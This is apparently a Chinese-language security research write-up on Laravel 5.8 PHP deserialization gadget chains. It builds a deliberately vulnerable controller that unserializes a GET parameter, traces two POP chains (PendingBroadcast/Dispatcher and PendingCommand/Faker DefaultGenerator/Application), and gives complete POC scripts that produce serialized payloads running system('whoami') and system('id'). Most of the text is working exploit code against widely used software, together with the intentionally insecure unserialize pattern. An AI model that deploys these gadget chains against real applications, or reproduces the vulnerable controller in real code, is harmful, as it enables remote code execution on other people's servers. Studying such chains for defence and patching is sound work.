写一个DemoController控制器
//DemoController.php
<?php namespace App\Http\Controllers; class DemoController extends Controller { public function demo() { if(isset($_GET['c'])){ $code = $_GET['c']; unserialize($code); } else{ highlight_file(__FILE__); } return "Welcome to laravel5.8"; } }
然后在routes/web.php下添加路由
Route::get("/demo","\App\Http\Controllers\DemoController@demo");
全局搜索排查__destruct()
方法,找到Illuminate\Broadcasting\PendingBroadcast::__destruct()
public function __destruct() { $this->events->dispatch($this->event); }
因为events
和event
的值是可控的
public function __construct(Dispatcher $events, $event) { $this->event = $event; $this->events = $events; }
所以通过控制events
参数可以调用任意类的dispatch()
方法,所以先寻找可以利用的该方法,发现Illuminate\Bus\Dispatcher::dispatch()
可利用
public function dispatch($command) { if ($this->queueResolver && $this->commandShouldBeQueued($command)) { return $this->dispatchToQueue($command); } return $this->dispatchNow($command); }
在dispatchToQueue()
方法里面有call_user_func()
函数,我们来看一看方法内容
public function dispatchToQueue($command) { $connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection); if (! $queue instanceof Queue) { throw new RuntimeException('Queue resolver did not return a Queue implementation.'); } if (method_exists($command, 'queue')) { return $command->queue($queue, $command); } return $this->pushCommandToQueue($queue, $command); }
要想执行到这个方法那么就需要通过if
判断,首先有$this->queueResolver
的值,这个是我们可控的,给它赋值了就行了
public function __construct(Container $container, Closure $queueResolver = null) { $this->container = $container; $this->queueResolver = $queueResolver; $this->pipeline = new Pipeline($container); }
第二个判断是$this->commandShouldBeQueued($command)
,跟进一下commandShouldBeQueued()
方法
protected function commandShouldBeQueued($command) { return $command instanceof ShouldQueue; }
该方法中要返回真,只需要让$command
,也即PendingBroadcast
类中的$this->event
是一个继承于ShouldQueue
接口的类即可。
可以利用find usage
找一个继承ShouldQueue
接口的类,例如BroadcastEvent
类:
至此POP链构造完成,可以实现调用任意方法
总结一下涉及到的类和接口:
1、Illuminate\Broadcasting\PendingBroadcast对应的方法为__destruct()
2、Illuminate\Bus\Dispatcher对应的方法为dispatch()
3、Illuminate\Broadcasting\BroadcastEvent用于继承ShouldQueue接口
涉及到的变量:
1、 PendingBroadcast类中的event和events,前者用于继承ShouldQueue接口,后者用于实例化一个Dispatcher对象。
2、Dispatcher类中的queueResolver,用于想要执行的函数名。
3、BroadcastEvent类新创建一个变量connection,用于想要执行函数的参数
POC代码如下
<?php namespace Illuminate\Broadcasting{ class PendingBroadcast { protected $events; protected $event; public function __construct($events="",$event="") { $this->events = $events; $this->event = $event; } } } namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver = "system"; } } namespace Illuminate\Broadcasting{ class BroadcastEvent { public $connection = "whoami"; } } namespace{ $d = new Illuminate\Bus\Dispatcher(); $b = new Illuminate\Broadcasting\BroadcastEvent(); $p = new Illuminate\Broadcasting\PendingBroadcast($d,$b); echo urlencode(serialize($p)); } ?>
这里首先来认识几个属性
public $test; //一个实例化的类 Illuminate\Auth\GenericUser protected $app; //一个实例化的类 Illuminate\Foundation\Application protected $command; //要执行的php函数 system protected $parameters; //要执行的php函数的参数 array('id')
通过__destruct()方法进入run()方法
public function __destruct() { if ($this->hasExecuted) { return; } $this->run(); }
跟进run()方法
public function run() { $this->hasExecuted = true; $this->mockConsoleOutput(); try { $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters); } catch (NoMatchingExpectationException $e) { if ($e->getMethodName() === 'askQuestion') { $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.'); } throw $e; }
我们看到call()方法的两个参数都是用户可控的,首先得经过mockConsoleOutput()方法,跟进一下
protected function mockConsoleOutput() { $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [ (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(), ]); foreach ($this->test->expectedQuestions as $i => $question) { $mock->shouldReceive('askQuestion') ->once() ->ordered() ->with(Mockery::on(function ($argument) use ($question) { return $argument->getQuestion() == $question[0]; })) ->andReturnUsing(function () use ($question, $i) { unset($this->test->expectedQuestions[$i]); return $question[1]; }); } $this->app->bind(OutputStyle::class, function () use ($mock) { return $mock; }); }
我们先单步调试,发现可以成功执行Mockery::mock
那一截代码到foreach循环,这里调用$this->test
对象的expectedQuestions
属性且应该为一个数组,但是该类并不存在expectedOutput
属性,经过分析代码,我们发现这里只要能够返回一个数组代码就可以顺利进行下去
因此我们全文搜索__get()
方法,让__get()
方法返回我们想要的数组就可以了,这里我选择DefaultGenerator.php
类
class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } /** * @param string $attribute * * @return mixed */ public function __get($attribute) { return $this->default; } ...... }
我们对DefaultGenerator
类进行实例化并传入数组array('hello'=>'ghtwf01')
,打断点进行调试可以看到代码顺利执行下去了,这个时候POC如下
<?php namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; public $test; protected $app; public function __construct($test, $app, $command, $parameters) { $this->app = $app; $this->test = $test; $this->command = $command; $this->parameters = $parameters; } } } namespace Faker{ class DefaultGenerator{ protected $default; public function __construct($default = null) { $this->default = $default; } } } namespace Illuminate\Foundation{ class Application{ public function __construct($instances = []){} } } namespace{ $defaultgenerator = new Faker\DefaultGenerator(array("hello"=>"ghtwf01")); $application = new Illuminate\Foundation\Application(); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator,$application,"system",array("id")); echo urlencode(serialize($pendingcommand)); }
接下来离开mockConsoleOutput()方法方法回到run()方法执行$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
,如果使用上面的POC单步调试这一步会报错,其中Kernel::class
为固定值:"Illuminate\Contracts\Console\Kernel"
,跟进进入offsetGet()
方法
public function offsetGet($key) { return $this->make($key); }
跟进make()
方法
public function make($abstract, array $parameters = []) { $abstract = $this->getAlias($abstract); if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) { $this->loadDeferredProvider($abstract); } return parent::make($abstract, $parameters); }
跟进父类的make()
方法
public function make($abstract, array $parameters = []) { return $this->resolve($abstract, $parameters); }
跟进resolve()
方法
protected function resolve($abstract, $parameters = []) { $abstract = $this->getAlias($abstract); $needsContextualBuild = ! empty($parameters) || ! is_null( $this->getContextualConcrete($abstract) ); // If an instance of the type is currently being managed as a singleton we'll // just return an existing instance instead of instantiating new instances // so the developer can keep using the same objects instance every time. if (isset($this->instances[$abstract]) && ! $needsContextualBuild) { return $this->instances[$abstract]; } ......
根据我们上面的POC调试可以看到$this->instances
这个数组是空数组,那么$this->instances[$abstract]
就不存在而导致后面抛出异常。
跟着我们最终的POC看,return $this->instances[$abstract];
=$this->instances["Illuminate\Contracts\Console\Kernel"]
也就是返回了Illuminate\Foundation\Application
对象,为什么要用这个对象?因为Illuminate\Foundation\Application
类继承了 Illuminate\Container\Container
类的call()
方法
接着调用call()
方法
public function call($callback, array $parameters = [], $defaultMethod = null) { return BoundMethod::call($this, $callback, $parameters, $defaultMethod); }
这里$callback = "system",$parameters[0] = "id",调用BoundMethod的call()静态方法
public static function call($container, $callback, array $parameters = [], $defaultMethod = null) { if (static::isCallableWithAtSign($callback) || $defaultMethod) { return static::callClass($container, $callback, $parameters, $defaultMethod); } return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) { return call_user_func_array( $callback, static::getMethodDependencies($container, $callback, $parameters) ); }); }
跟进isCallableWithAtSign()方法
protected static function isCallableWithAtSign($callback) { return is_string($callback) && strpos($callback, '@') !== false; }
作用只是判断确定给定的字符串是否使用Class@method
语法
接着跟进callBoundMethod()
函数,可以发现它的作用只是判断$callback
是否为数组
protected static function callBoundMethod($container, $callback, $default) { if (! is_array($callback)) { return $default instanceof Closure ? $default() : $default; } ......
继续跟进下面的匿名函数
function () use ($container, $callback, $parameters) { return call_user_func_array( $callback, static::getMethodDependencies($container, $callback, $parameters) ); }
call_user_func_array()
里面第一个参数是我们可控的值为system
,第二个参数是通过getMethodDependencies()
方法得来的,跟进一下
protected static function getMethodDependencies($container, $callback, array $parameters = []) { $dependencies = []; foreach (static::getCallReflector($callback)->getParameters() as $parameter) { static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies); } return array_merge($dependencies, $parameters); }
也就是将数组$dependencies
和数组$parameters
合并,因为$dependencies
数组为空,所以最后返回的值也就是$parameters
,值为id
,所以最后就执行了call_user_func_array()
最终POC如下
<?php namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; public $test; protected $app; public function __construct($test, $app, $command, $parameters) { $this->app = $app; $this->test = $test; $this->command = $command; $this->parameters = $parameters; } } } namespace Faker{ class DefaultGenerator{ protected $default; public function __construct($default = null) { $this->default = $default; } } } namespace Illuminate\Foundation{ class Application{ protected $instances = []; public function __construct($instances = []){ $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances; } } } namespace{ $defaultgenerator = new Faker\DefaultGenerator(array("hello"=>"ghtwf01")); $app = new Illuminate\Foundation\Application(); $application = new Illuminate\Foundation\Application($app); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator,$application,"system",array("id")); echo urlencode(serialize($pendingcommand)); }